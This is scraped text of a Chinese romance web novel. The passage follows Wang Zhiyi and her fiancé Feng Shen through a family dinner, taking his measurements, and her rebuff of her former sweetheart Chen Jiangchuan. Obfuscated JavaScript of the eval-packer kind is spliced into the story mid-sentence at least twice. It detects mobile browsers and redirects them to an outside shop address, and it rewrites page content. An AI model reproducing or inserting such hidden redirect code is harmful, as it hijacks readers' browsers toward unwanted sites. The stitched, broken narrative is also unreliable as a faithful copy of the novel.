汪知意看她妈把那一坛子人参酒搬上桌,有些呆住,这可是她爸的私藏好酒,已经泡了有三年,她爸一口都舍不得喝,说是要等到明年春天口味最香醇的时候再开封。 同样傻眼的还有汪思齐,他是想让封慎今天在饭桌上喝些酒,可他打算让他喝的是他之前打的那些散装酒,可不是他这大宝贝。 陆敏君不管他一二三,直接就给酒坛子开了盖:“你以后也不能喝酒了,这留着也没用,今天天儿这么冷,让封慎封诚喝一些暖暖身。” 汪思齐的心已经在哗哗流血了,他是不能喝了,他每天早晨起来打开他的酒柜看两眼也能解馋啊,现在这不是拿刀子一刀一刀划拉他的心吗。 酒往杯子里哗哗地倒,汪思齐的眼泪都要流出来,封诚的嘴角已经挂到了耳朵根,前阵子齐叔让他看他自制的酒柜,他就已经馋上了这坛药酒,里面泡着可是颗大几十年的野山参,也不知道这酒现在得香成什么样儿。 不只封诚好奇,汪知意也好奇,她坐在封慎身边小口小口地喝着汤,看他喝了一口酒,忍不住问:“好喝吗?” 封慎看她一眼,把酒杯递到她唇边。 汪知意低头闻了闻,没有白酒那种冲鼻的辛辣味儿,倒有一股糖渍梅子的甜。 封慎道:“抿一点。” 汪知意唇张开,含裹住杯壁,封慎稍抬手腕,酒倾斜,淹没她的下唇,进到她的嘴里,汪知意抿了一些,砸吧了砸吧味道,弯眼笑:“好香。” 封慎看她很喜欢的样子:“给你倒一些。” 汪知意摇摇头,她对酒不讨厌,之前家里有什么高兴事儿,她也能陪着她爸喝一些,可是她酒量不算好,白酒沾一点就能醉,这种陈酒度数应该更高,她平时也就喝些果子酒。 封慎目光止在她翘挺的鼻尖,没再往下走。 不知道是不是她离他太近的缘故,她身上的香气一直往他鼻子里钻,如果他没闻错的话,应该是昨天那瓶香水的味道。 汪思齐正在跟封诚声情并茂地说着他寻到酒里这颗野山参的故事,陆敏君瞟一眼饭桌那头的小两口,唇角有笑:“封慎,多吃菜哈,还有这白萝卜羊肉汤,你齐叔的拿手绝活,幺幺最爱喝。” 封慎应一声,端起手边的汤碗,喝两口,回陆敏君:“比饭店的要好吃。” 陆敏君笑加深,又热情地招呼封诚,别光听你齐叔吹牛,快吃菜,待会儿就凉了。 汪思齐不满,什么叫吹牛,那满山上就那么一颗人参精,被我给找到了,这可不是光有运气的事儿。 老两口你一句我一句地拌起了嘴,封诚给这个帮两句腔,又给那个帮两句腔,忙得他不行,封慎喝着汤,唇角起了些弧度,小时候汪家的饭桌上也是这样热闹,这么多年过去了,一点都没有变。 汪知意咽下嘴里的肉,看他。 封慎对上她的目光:“怎么了?” 汪知意小声回:“你喝的是我的汤,你的在那边。” 封慎看了眼自己左手边的汤碗,神色平静地将那碗没动过的汤端给她:“你喝这碗,我没动过。” 汪知意卷翘的睫毛扑闪着,没说话,他是没动过他这碗,可她那碗她动过呀,他现在用的勺子都是她用过的…… 她将有些红的脸埋进了碗里,连勺子都不用了,闷头喝起了汤。 一顿饭结束,汪知意都把自己吃热了,封慎拿过两张纸巾递给她,汪知意接过纸巾,擦了擦唇,又拿手当扇子,扇着脸上的热。 封慎又倒来两杯温水,一杯给陆敏君,一杯放到她手边,汪知意端起水杯喝了两口,目光扫过他耳边的鬓发,又定住。 漆黑的发根洇着汗珠,耳根还泛着些暗红,他黑是黑,耳朵红也是能看出来的,昨天她妈还翻出了他小时候的照片给她看,他小时候还挺白净的,和现在很不一样,可能跟他当过几年兵还下过几年矿的经历有关。 她打量的目光太明显,想当察觉不到都难,这一顿饭的功夫,她看他的次数未免有些多,封慎转过头看她,黑眸幽沉。 汪知意放下水杯,淡定问:“你很热吗?” 封慎何止是热,他的酒杯一直就没有空过,君姨像是打定主意要把那一坛子酒全都灌给他,这酒不比一般的白酒,后劲儿大,他又喝了两碗羊肉汤,现在有些压不住的躁。 他淡淡“嗯”一声,嗓音沙哑:“穿多了。” 汪知意看他身上的黑色毛衣:“要不你先去试试衬衫,要是合适的话就换上。” 陆敏君插进话来:“对,封慎,你快去试试幺幺给你买的衬衫,要是尺寸不合适,得赶紧去换。” 封慎道好,倒不是因为他热到必须要换件衣服,他要是不离桌,这酒估计就得一直喝下去。 陆敏君又对汪知意道:“幺幺,你带着封慎去你屋试,正好给他量一下身,内蒙比我们这儿得冷不少吧,我给他做两件厚衣服,到时候让他带着。” 汪知意顿了下,在她妈的注视下也跟着起身。 要是搁往常,汪思齐指定得因为汪知意给封慎买了衣服嘀咕几句,现在却一反常态地对封慎笑眯眯:“快去试试,商场买的衣服不能光看尺码,得上身穿才知道合不合适。” 汪思齐早就想找个由头把封慎给支走了,这黑煤球再在饭桌上待下去,这一坛子宝贝酒得都被他喝了去。 他盯着封慎的背影把茶当酒喝了一口,他记得封明强酒量也不好啊,一杯下肚就找不到方向了,怎么他这黑煤球的儿子酒量好成这样,也不知道是打哪儿练出来的。 陆敏君拿胳膊肘拐他,汪思齐又收回目光,想再喝口茶解解馋,陆敏君用筷子沾了些酒送到了他嘴边。 汪思齐狐疑看她,怕这是对自己的考验,坚定地摇了摇头,不喝。陆敏君直接把筷子怼到他嘴里,汪思齐时隔小一年的时间,终于尝到了一点酒,瞬间觉得自己天灵盖都通透了。 陆敏君看他:“好喝吗?” 汪思齐直觉这个问题可能是个坑,闭唇不答,抓紧时间回味嘴里还没散尽的酒味儿。 陆敏君拿筷子又沾了些酒再送到他嘴里,没好气道:“这是奖励你,今天表现得还不错。” 汪思齐咂摸着嘴暗自琢磨,我今天洗了衣服,做了饭,将陈江川直接扫地出门,没在幺幺面前再说那黑煤球一句坏话,也不知道这小老太太夸他表现好具体指的是哪一点,有封诚在,他也不好现在问。 封诚低头喝着汤偷笑,老天爷也真是会牵姻缘线,想他大哥那么一个老成持重的严肃性子,怎么就进了这汪家的门,这汪家人一个比一个有意思,据说汪茵姐小时候还头上插着三根香跟大哥结拜过。 不过要说最有意思的,还要属知意妹妹,哦,不对,现在该叫大嫂了,看着胆子也不大,好像一点都不怕大哥,他活到这么大还是头一回见对着他大哥笑得那么甜的姑娘,他原以为她是要当他二嫂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从上到下,先量颈围。 汪知意踮起些脚尖,封慎弯下腰来俯就她,汪知意按住他的肩:“你不要动。”她和他这样面对面站着,她本来就紧张,他再一乱动,她的心脏都要从嗓子眼里跳出来了。 封慎没有再动。 汪知意又拍他的腰:“你站直。” 封慎站直。 汪知意脚尖又垫高了些,视线落在他脖颈的位置,将软尺绕在他喉结下方的位置。 塑料的冰凉印到皮肤上,封慎的喉结缓慢地滚动了下,他原以为量尺寸也就是量个肩宽腰围,他想说什么,余光扫到她脸上的认真,又没作响。 汪知意量好颈围,脚落回原地,后退一步,转身在柜子上的包里翻找着纸笔,偷偷缓了些紧绷的呼吸。 封慎面无表情地解开两颗衬衫的扣子,扯了扯领口,空气进来些,身上的燥热也稍微散了些。 汪知意拿笔在纸上记好数字,转回身,眼抬起了些,停在他下巴处,觉得继续这样面对面不行,眼帘又垂落下,移脚走到他的身后,将软尺的一端按到他的肩上,拉平软尺,看另一侧的数字,看不太清,凑过些身去。 封慎感觉到背后蹭过的柔软,呼吸起了轻微的沉浮,脸上的神色更冷。 汪知意量好肩宽,在纸上记下数字,又转到他的身前,想要量胸围,胸围不太好量……汪知意盯着他的胸口看了两秒钟,决定还是先量腰围,不好量的放到最后。 她拉开软尺绕到他腰后,将软尺合拢,低下些身,头发压在他胸前,还没看到软尺上的数字,手腕就让他给攥住。 封慎拽着她起身。 汪知意不明所以:“怎么了?” 封慎嗓音沉哑:“不用量了。” 她对这件事没轻没重,手落的地方也没个分寸,摸到哪儿算哪儿,压在血液里酒劲儿又一直往上翻涌,再量下去,事情的发展难保不会偏离了方向。 封慎握着她细白的腕子捏了捏,缓慢道:“让君姨不用担心,”他沉默少顷,又开口,“我身心健康。” 汪知意一开始没明白他这没头没尾的话是什么意思,被他黑沉沉的眸子压着,才慢慢反应过来,她妈今天晚上一杯又一杯地给他倒酒,又给他添了两海碗羊汤,是因为什么…… 房间里静寂得听不见任何声响。 汪知意的脸都快要烧熟,她妈给她搭起了架子,她肯定不能拆她妈的台,面上装得再镇定不过,视线在他身下飞快地扫了一圈,虽然什么都没看到,却像是历尽千帆见识过什么大场面一样,云淡风轻地“唔”一声,评价道:“是挺健康的。” 封慎一顿,看向她,似笑非笑的眼神。 空气里的安静又添了些。 8. 第 8 章 汪知意在睡梦里都是他那看过来的一眼。 像笑,又不像笑。 她好像还没见他笑过一次,所以也拿不准他到底是不是在笑她,汪知意翻一个身,在迷迷糊糊中睁开了些眼,黑漆漆的屋顶上也映着他的脸。 他肯定就是在笑话她,因为她那话说得就像是喝了大酒一样,什么叫还挺健康的,量个尺寸还把她那点胆子给量出来了,非要打肿自己的脸冲个大胖子,又给自己扣了顶沉甸甸的大帽子。 汪知意又翻一个身,把自己的脸压进枕头里,脚踢着被子,闷闷地哼哼了两声,她以后都没脸再见他了。 可要不要再见他这件事,不是她有脸没脸就可以决定的,零点一过,距离他们的婚期就只剩十一天了。 汪知意一大早就被陆敏君打发出了门,家里新做的腊肠晾好了,汪茵最喜欢吃腊肠,陆敏君打包了一箱让汪知意去邮局给汪茵寄过去。 关于昨晚有没有试出什么来,陆敏君一句也没提过,她都不用问什么,光看两人从房间出来时,幺幺那红扑扑的脸蛋儿水汪汪的眼,就知道俩人这婚事肯定是板上钉钉没跑了,她就说封慎那身板看着也不像是个内里虚的。 汪知意还不知道陆敏君火眼金睛已经看出了什么,她怕会被拉着问量尺寸的细节,从昨晚就一直躲着人,今天更是巴不得出门办事儿,能不和她妈独处就先不独处,她妈可是什么都能得问出来,她姐结婚的时候她已经见识过了。 今天阳光很好,路上的雪已经所剩不多,汪知意将自行车蹬得飞快,迎面开来一辆破破烂烂的面包车,看着像是他那辆。 她扯起些围巾遮住自己的半张脸,躬身腿上一用力,又给自行车加了些速,目不斜视地擦着面包车骑过,至少今天不要见到他。 丁贵看到汪知意,慢下车速,转头看向副驾:“那不是你那小媳妇儿,要不要停车?” 封慎在倒车镜里瞧她猫身躲他躲得明显,唇角动了下,淡声道:“不用。” 汪知意很快在街尽头拐了弯,封慎收回目光,想到昨晚乱七八糟的梦,眉心有些严肃,就算她是他马上要过门的媳妇儿,那个梦做得也着实荒唐了些。 丁贵偏头瞅他:“你不会是跟你那小媳妇儿吵架了吧?” 封慎睨他一眼。 丁贵立马改口道:“行行行,不叫小媳妇儿,你自己说她是小孩儿一个,我叫她小媳妇儿你又不乐意,你这就属于典型的只许你们当官的点火,我们苦哈哈的老百姓放把火取取暖都不行。” 封慎轻哼,他丁大公子要是苦哈哈的老百姓,别人就得去大街上要饭了。 丁贵又笑:“你这是什么表情,我还不苦哈哈,我老爹不认我这个儿子,把我轰出了家门,我手头上能动的钱全投了你的厂子,现在全身上下,再加上我兜里叮当响的俩钢镚儿,都薅不出一千块钱来,我可先跟你打好招呼,你结婚的份子钱我得先欠着,等咱去内蒙回来我再给你补上。” 话说他丁大公子也不是一直这样穷的,在矿上的时候,正经过了两年富裕日子,每天进账的钱都要拿麻袋装,他就差躺在钱上睡觉了,他本来还以为自己这辈子注定就是当矿老板土财主的命了,可谁知道封老大的眼界不止停在一个矿老板上。 他分析的那些什么国家政策,经济的发展方向,能源的未来趋势,丁贵就算听得懂也懒得动那个脑子想,反正他老爹将他轰出家门的时候,给过他一句话,封慎以后做什么你跟着他做就行。 他虽然在他老子面前经常一身反骨,这句话他还是听进了心里的。 封老大既然想要建厂,他肯定要当大股东,只是他这两年在矿上的分红全都存到了他老娘的户头,他老娘一个小老太太,平时不爱打麻将,也不爱和人聊闲天,最喜欢的事情就是数存折上的零玩儿。 他这些年也没给她老人家带回去一个儿媳妇,就剩下这么一个可以让她消遣的乐子,他怎么也得满足了,所以给到老太太手里的钱不能再往回拿,他卖掉了一套房,又卖掉车,还卖掉几块表,再加上手头上有的钱,才勉强凑出了两股的占分。 他穷得叮当响了不说,封老大也一样,买厂房的钱还是小头,那些进口的全套生产线设备才是大头,还要修整厂房,厂子周边还得修路修桥,哪儿哪儿都需要钱。 他估计封老大现在全身上下能薅出的钱应该比他多不出来多少,要不然他也不会去做那汪大夫的上门女婿,就连娶媳妇儿的新房还是他老丈人家的。 他俩现在也算是正经的难兄难弟了,每天只能开着这辆不知道倒了几手的面包车进进出出,账上再进钱还得等去了内蒙,把矿上剩余的手续全都办理完,才能结清最后一年的分红和转让费。 等拿到钱,他第一件事就是先把这破面包车给扔废品站里,他已经看好了,这次他要买一辆德国货,身为一个未婚大龄男青年,要开车就要开好车。 丁贵心里琢磨得正美,想到什么,看封慎:“去内蒙的事儿你跟你媳妇儿说了没?” 封慎“嗯”一声。 丁贵道:“那旅行社办事儿也忒操蛋,搞几张飞机票都搞不到,要是能买到飞机票,你也不至于连洞房花烛夜都过不成,你媳妇儿跟你闹了吧?” 封慎回:“没。” 丁贵惊讶:“真假?!我还以为小嫂子得抱着你一把眼泪一把眼泪地哭,死活闹着不想让你走呢。” 不仅没闹,封慎想到她那亮晶晶的眼神,他倒觉得她都想亲自抬着八抬大轿把他送到内蒙去,不过这话跟丁贵说不着,他道:“她年纪是小,可也懂事,不会为这些事闹。” 丁贵稀奇地瞅封慎,这是太阳打西边出来了,还维护上自己的小媳妇儿了,他可是知道他对这桩婚事的态度,要不是那知意小妹妹在他们兄弟仨里单单选了他,碍于两家的情分他推脱不掉,他压根儿就还没结婚的打算。 按说知意小妹妹要是这么喜欢封老大的话,应该看得紧一些才对,新婚夜自己一个人被丢在家里这种大事儿都不闹一闹,他怎么觉得有些反常。 丁贵一向看热闹不嫌事大,没火都能让他烧出三分火来,他语重心长地提醒:“封老大,要说别的事情我可能不如你,可要论看姑娘的心思,你得叫我一声大哥,我跟你说,这姑娘们在有些时候要是过分懂事的话,大概就是对这个人不太上心。” 封慎语气闲凉:“既然你看姑娘的心思这么准,怎么都快三十的人了,还没有一个姑娘肯跟你。” 丁贵被戳到痛处,气得要跳脚,可他在开车,又跳不起来,等待会儿下车,他非要给他跳一个高的。 要不是知意小妹妹指名道姓点了他做上门女婿,他一个已经到三十的老男人不是也没姑娘跟,知意小妹妹可是做了一件大善事,说是他的大恩人都不为过。 他不知道感激也就罢了,他才是真的对知意小妹妹一点都不上心,这次去广州办事儿,要不是他好心提醒,他都不知道要给知意小妹妹买件礼物,回头他非得在知意小妹妹面前好好告他一状。 汪知意鼻子无端有些痒,迎风打了个喷嚏,她将自行车停在邮局门口,拉起羽绒服上的帽子扣到自己头上。 她可不想在这个时候感冒,她一感冒没有十天半个月是好不起来的,她妈给她做的婚服那么漂亮,她在结婚那天也要漂漂亮亮的才行,不然打喷嚏打得鼻子是红的,眼睛也是红的,妆都遮不住,就丑死了。 汪知意解开后座上捆着的箱子,将纸箱搬下车,还没用上力,腕上一轻,箱子被人拎了去,她看到来人腕上的红绳,指尖滞住,没抬头。 她上次见他还是去年的秋天,他那个时候跟她说,他明年冬天就会回来,然后就再也不走了,她那时是信了他的话的,他从来都没骗过她,那时她也以为他永远都不会骗她。 想来还是她太过天真了。 路过的行人和汪知意打招呼:“幺幺又来给你姐寄东西了?” 汪知意脸上挂出笑,和人寒暄几句。 那人瞅了陈江川两眼,觉得这人有些眼熟,可又想不起来在哪儿见过,小伙子白白净净的,气质打扮都不俗,一看就是从城里回来的。 他冲陈江川殷勤地点了下头,一步三回头地推着车往前走,快走到院门口突然想起来,那不是老陈家那去了香港的小孙子吗?他再回头看,汪知意和陈江川已经进了邮局。 汪知意不想和他在大庭广众下拉扯什么,他那么想搬箱子就随他搬,汪知意走到柜台前,陈江川把箱子放到柜台上,汪知意撕下张快递单子,陈江川把自己的钢笔递给她,汪知意没有接,拿起了柜台上的圆珠笔。 寄送的地址她留的是汪茵的单位,她姐那个婆婆不喜欢他们这乡下东西,甚至觉得她儿子结婚七年至今还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263112|198056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没得个孩子,是因为她姐小时候吃乡下东西吃多了,没落下个好身体,所以生不出孩子来。 这些话是汪知意上次去省城办事情,去家里送东西的时候,那老太太跟她说的,她没跟她爸妈提过,也没跟她姐提过。 她姐虽然从来没说过什么,但汪知意知道跟公公婆婆住在一起的日子不好过,也知道她姐和姐夫之间早就出现了问题。 她这两年使劲攒了些钱,可也没攒下多少,封家给了一笔彩礼,很丰厚,她妈直接把存折给了她,她这辈子从来没拿过那么多钱,总觉得存折在她手里不安全,本想着还给封慎,他没有收,说这钱给了她就是她的,随她想怎么花都可以。 既然是随她想怎么花,她其实是想在省城买套房的,她算过了,存折里的钱足够,封三哥说城里的房子以后只会一年比一年贵,钱放在存折里也没多少利息,还不如拿来做点什么。 买了房子,出租出去,一个月也能有不少进项,而且她也是有些私心的,城里有了房子,她姐就多了条退路,就算以后真的怎么样了,要是能有个落脚的地方,她姐也能在做决定的时候少些后顾之忧。 这件事她琢磨了有一阵子了,但她还没想好怎么跟她姐提,她也没有个可以商量的人,现在还不能让她爸妈知道,倒是可以问问封慎,那钱本来就是他的,如果真要拿来买房子,肯定是要和他说的。 汪知意想到他,昨晚的事情又进到她脑子里,她指尖发热,连写字的速度都加快了些。 快递单填完,工作人员给箱子称好重,拿计算机计算好快递费,汪知意放下笔,掏出钱包,一旁的陈江川已经把钱递了过去。 汪知意挡住他的胳膊,礼貌又客气道:“不用,江川哥,我带钱了。” 陈江川蓦地怔住,从她一两岁能说话开始,她就一直是“陈江川陈江川”地叫他,街坊邻居们总是逗她,说他比她大,该叫哥哥,可她还是执拗地喊他“陈江川”。 叫了快二十年的“陈江川”,她现在却不肯再叫了,一声“江川哥”清清楚楚划开了两人之间的界限,表明了她所有的态度。 汪知意直接把钱递到了工作人员手里,也不管工作人员看戏的眼神,接过找回的零钱,塞回钱包,道了声谢,转身离开。 陈江川望着她的背影,眼神晦涩,半晌,又迈着沉重的步伐跟上去。 汪知意骑车走在前头,陈江川开车跟在后头,街道偏远,来往的车辆很少,汪知意一直骑到了河边。 清晨的河边很安静,小孩子们还没有溜出门来滑冰,周边一个人影儿都看不到,风将河岸上的荒草吹得摇晃。 汪知意支好车,回身看从车上下来的人,如果他觉得当初他们在电话里把话说得还不够清楚,那今天就当面再说一次,说完之后就彻底两清,他也不要再去登门烦她爸妈,省得他们见他一次,心里头不好受一次。 陈江川站在汪知意面前,目光低垂下,不能直视她坦然的目光。 呜呜的风从两人中间吹过,像是谁的哭泣声。 陈江川一开口,嗓子涩得如同灌了沙石:“我不知道你已经从剧团离职了,我给你寄的信……你收到了吗?” 汪知意点点头:“全都扔炉子里烧干净了。” 陈江川知道她是不会看的,他在电话里说不出让她再等等他这种自私的话,只能一封一封地写信。 他心里一直存着那么一丝侥幸,她一向心软,他们又那么多年的感情,不是一年两年,而是整整二十年,或许某一天她会忍不住看一看他的信,又或许在看完信后,她会等他的也说不定。 可也只是或许,他还是回来得太晚了,她和别人婚期已定。 陈江川迟疑道:“……我解除婚约了。” 汪知意看他,心里几乎是在一瞬间迸发出了恼,这种恼比当初接到那个女孩子的电话还要多。 但她面上不显丝毫恼意,相反,她在笑,笑得还很甜:“所以呢,你解除婚约了,我也要解除婚约?” 陈江川陷在她甜美的笑容里,一时有些恍惚,仿佛一切又回头了从前。 凛冽的空气里飘上来一点淡淡的烟味儿,汪知意没有注意到,她只盯着陈江川,她想要看看他还能说出什么不要脸的话来。 层层重重的荒草之下,封慎站在河冰上,望着远处的旷野,缓缓吐了口烟。 9. 第 9 章 远处,丁贵使劲跟封慎挥手,封慎视线掠过他,掀眸望向河道之上,杂乱的荒草遮挡得严实,只能看到她随风飞舞的发丝,他平静地收回视线,将手里的烟掐灭,拾步朝丁贵不紧不慢地走去。 丁贵等人走近,眉飞色舞道:“我看好位置了,桥咱就架在这块儿,你看哈,咱们的工厂在河那头,你老丈人家在这条路的尽头,你小媳妇儿那幼儿园在那条路上,这地界儿就是三条线的完美交汇点,到时候桥架成了,咱运货走车方便,你想回家还是想去接你小媳妇儿下班,也都方便,怎么样,我为你想得周到吧?” 封慎扯扯唇角,这婚能不能结成都两说,倒也不必考虑这么多。 丁贵觑他:“你咋了?”明明刚才还心情不错的样子,怎么他离开了一会儿,这面色就有些沉了。 封慎没回,抬腕看了眼表,只道:“走了,吴总他们应该快到了。” 丁贵看着他的背影,狐疑更多,这马上要结婚的人了,一点喜气儿不见,怎么还阴晴不定起来了,总不能是因为过了三十,年纪一天天渐长,内分泌开始失调了。 他又扬声问:“老大啊,咱那桥的位置到底要不要定这儿?我好做标记,还得给镇上递材料呢。” 封慎头也不回:“你不是都选好了。” 丁贵嘿嘿一笑,看吧,他就说他这个位置选得好。 汪知意将风吹乱的头发压到耳后,风越刮越大,她渐渐失去耐心,脸上浮着的那点笑容也散去,他的答案是什么都不重要了,重要的是他和她从今往后是再不相干的人。 她转身要走,陈江川仓皇地攥住她的胳膊:“幺幺……” 这一年来,他跟她说,跟君姨和齐叔说,他母亲跟着他继父去了国外,所以才不能经常给他们打电话。 其实不是,是母亲出了事情。 他继父在外面又有了女人,还怀了孩子,她找上门和母亲谈判,争执中摔下了楼梯,孩子也掉了,那个女人的哥哥是在道上混的,找人将母亲也从楼梯上推了下去,母亲直接头着地。 人人都说那个城市是天堂,但天堂之下也会有黑暗,自打他被母亲接到了那边,没有一天不在想着要离开,虽然母亲在那里,那里并不是他的家。 他本打算在学业完成之际跟随他的老师一起回来,母亲却在这个时候陷入了重度昏迷,不知何时才能苏醒,医院的天价账单一天一天地增加,他那个所谓的继父对外声明,他们母子俩是死是活都与他无关。 走投无路之下,黎雪伸出了援手,他和她订婚,医院的账单被签掉,有黎家当后盾,那个女人的哥哥再不敢来医院骚扰,母亲也得到了最好的医疗护理。 至于幺幺,他不知道该如何跟她说,自欺欺人地想着能瞒一天算一天,但纸终究是包不住火,她还是知道了,他只能放手。 他原以为结局已定,事情反而迎来了转机,母亲从昏迷中苏醒,他成功地帮黎家度过一次危机后,也有了和黎雪父亲的谈判筹码,他和黎雪的婚约解除,换他为黎家卖命十年,以后负责黎家在内地的业务。 他终于回来了,可也永远地失去了她,他再不想承认这个事实,心里却比谁都清楚。 汪知意耐着性子听完他诉说的前因后果,只关心一个问题:“珍珍姨现在怎么样了?” 陈江川哑声回:“已经恢复得差不多了,等到明年开春,我就打算把她接回来。” 汪知意点点头,沉默片刻,又道:“我腊月二十六的婚礼,年底你应该有很多事情要忙,就不请你来家里喝喜酒了。” 陈江川神情怆然,目光里有乞求:“幺幺……难道我们就这样了?” 汪知意笑了笑,笑容很淡:“对,我们就这样了。” 她看着他眼角濡出的潮湿,怔了下,想说什么,又觉得实在是没什么好再说的。 那位黎小姐不是在珍珍姨出事的时候突然出现在他身边的,打他去了香港,她一直都在,教他学粤语,教他学车,带他一起走遍那个城市的大街小巷。 她从那位黎小姐嘴里听到这些话时,不觉得有多难过,只觉得有些好笑,他在寄回的每一封信里,都跟她说他很想家,也想她,可那个时候他身边是有另一位姑娘陪着他的,他从来没跟她提过,哪怕是到了现在,他还在刻意地隐瞒这一点。 她一直都清楚他有自己的野心,不愿甘于平庸,想要成就一番事业,所以在他还没从香港回来之前,她都没有答应过他什么。 香港她虽然没去过,可也知道那里繁华得让人流连,她不算是个有多大出息的人,对那种繁华没多少向往,只想守着爸妈过自己的小日子,当初她就和他说好,他要是最终选择不回来,她也完全能理解,和她说清楚就好。 只是她没想到他在野心之外,还有贪心,贪恋那个,又想要这个,他既然承诺了黎小姐,就该一心一意地对人家,不该得了人家的好,现在又跑来对她说这些。 她以为他给她的失望已经足够多,没想到临了还要闹这么一出,其实这样也挺好,不经历一些事,也不能完全看透一个人。 以前她总觉得谁都有可能会变,他也不会变,可是在这个世上,守好自己的一颗心已是艰难,她又凭什么用自己的想法去臆判他人,现在看来她之前实在是傻透了。 汪知意闷着头快要骑到家里的胡同口,才想起她妈还交待了她一桩买毛线的任务没有办,她妈打算给封慎织两件厚毛衣。 昨天晚上她没有量完的尺寸是他自己量的,她只负责记录了个数字,早知道一开始也让他自己量了,那样就不会有后来的事情,不过现在后悔什么也都晚了,往好的方面想,至少知道了他应该是没什么毛病。 汪知意掉转车头,抄近路从老于家茶楼旁那条小胡同穿过去到市场,能省不少时间。 从胡同里拐弯出来,一条大黄狗从马路中央跑过来,汪知意及时刹住车,脚支在茶楼门前的台阶上,给大黄让出路。 丁贵看到汪知意,忙拿胳膊肘碰碰一旁的人,封慎回头,丁贵眼神还没给他使出去,汪知意脚踩上车蹬已经飞出去了老远。 封慎看着她艺高人胆大地直接从两辆摩托车的间隙里穿过,眉头皱了皱。 丁贵幸灾乐祸地笑出了声:“完了,你这么一大活人站在这儿,知意妹妹都没瞅见你。” 吴绍飞挂掉大哥大,插进话来:“谁没瞅见谁?” 丁贵扬下巴点点汪知意快要瞧不见的背影:“我那未过门的小嫂子没瞅见我哥呗。” 吴绍飞着急地踮起脚,奈何他那圆滚滚的肚子太大,三十九码的小脚撑不起他笨重的身子来,到最后连汪知意的背影都没看到。 他颇有些遗憾地拍拍封慎的肩:“封老弟有福气啊,我虽然不是这镇上的人,可汪家那宝贝幺幺的名头我也是听过的,汪大夫家的门槛这些年都被人踩烂了吧,多少人托媒人去说亲都没说成,谁能想到这朵娇花让你封老弟给摘了去。” 他又想到什么,打趣道:“我听人说,我那小弟妹比封老弟你小一轮?” 丁贵神色很是正经:“哪有,吴总您这都是从哪儿听来的,我哥虽说是到年纪了,但也没老成那样,没小到一轮,也就小十岁整。” 吴绍飞一愣,又哈哈大笑,拿手指点点丁贵,你小子,不敢明着开你哥的玩笑,现在拿我来顶包。 封慎从远处收回目光,扫丁贵一眼,对吴绍飞道:“大小几岁也好,小几岁也好,都是命里注定的缘分,就像吴总和嫂夫人,十年如一日的恩爱,是我们学习的榜样。” 吴绍飞的老婆比他大五岁,老丈人家势大,吴绍飞惧内是出了名的,但又最烦别人说他怕老婆,最喜欢听人说他们夫妻恩爱。 他当下喜形于色,抚着自己的肚子谦虚:“欸,可称不上什么榜样,只不过是夫妻俩日子过久了,过出了些心得,等有时间可以让我们家那位跟弟妹聚聚,传授弟妹些经验,保准你们以后这小生活过得那是一个和和美美。” 丁贵一听这话,几乎要喷笑,就吴绍飞媳妇儿那个阵仗,动不动就揪耳朵跪搓衣板睡地上,这要是都让小嫂子学了去,那咱封老大以后可就有好日子过了。 封慎伸手将吴绍飞往茶楼里请,挡住丁贵那一张憋笑的脸:“聚一聚倒是可以,不过还是不麻烦嫂夫人给她开班授课了,她现在吃我已经吃得死死的,要是再从嫂夫人那儿学上几招,我可就真吃不消了。” 吴绍飞笑:“我可不信这世上还有人能拿捏得了你封老弟。” 封慎半真半假道:“一物总有一物来降不是,回头她要是知道我跟人这样说她,一准儿又要不高兴,她不喜欢我在背后说她的事。“ 吴绍飞顿了顿,这怕媳妇儿是假,不喜欢拿自己媳妇儿当话头谈资是真,他当即收起了还想再调侃的心思。 今儿这茶局是封慎有求于他没错,别人现在还不清楚他封慎打算做多大的买卖,他是门清儿的,今天他要是能得了封慎这个人情,以后再谈什么都好谈,他可不想还没有开始聊什么,就先把人给得罪了。 吴绍飞笑着打哈哈,问起婚礼筹办的进度,将话题给转开了,心里对这汪家幺幺的好奇又多了几分。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263113|198056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他虽然和封慎打过的交道还不多,可每见一次面,就对他的城府之深多一分心惧,刚满二十岁的单纯小姑娘,敢选封慎做自己的男人,他不知道该说她眼光好,还是该说她胆量大,也不怕被人捏在掌心里想怎么算计就怎么算计。 汪知意一点都不喜欢被人算计,也不喜欢算计人,她也就能算算数。 她算好给他织一件毛衣要用的毛线量,挑了黑色和藏青两种颜色,想了想,又让老板称了些灰色的。 毛线摊的后面就是小吃一条街,汪知意的车拐进去,一圈逛下来,车筐的包里又多了几个袋子,她怕刚出锅的炸麻团到家会凉透,回去的路上也是抄的近道,只是没想到这一抄还抄出了事情。 封慎在茶楼的前台接了个封诚从厂子里打来的电话,电话刚撂,就听见走进茶楼里的人说街上出了事情,一姑娘骑着车跟一辆三轮车撞到了一起,封慎上楼的脚步停住,转身往外走。 前面路口里三层外三层地围着人,封慎大步流星地走过去,越走越快,等走近,越过攒动的人头,看到她全须全尾地站在那儿,步伐才缓下来。 汪知意看着撒了一地的麻团,有些可惜,她一个都还没吃。 一抬眼,看到从围观人群里走出来的人,眼睛不由弯下来,没了往常见到他的那种习惯性的紧张,也忘了昨晚的不自在,莫名生出一种大难不死看见亲人的喜悦:“你怎么在这儿?” 封慎上下打量她,看到她袖口上的一点血迹,眉头深蹙起。 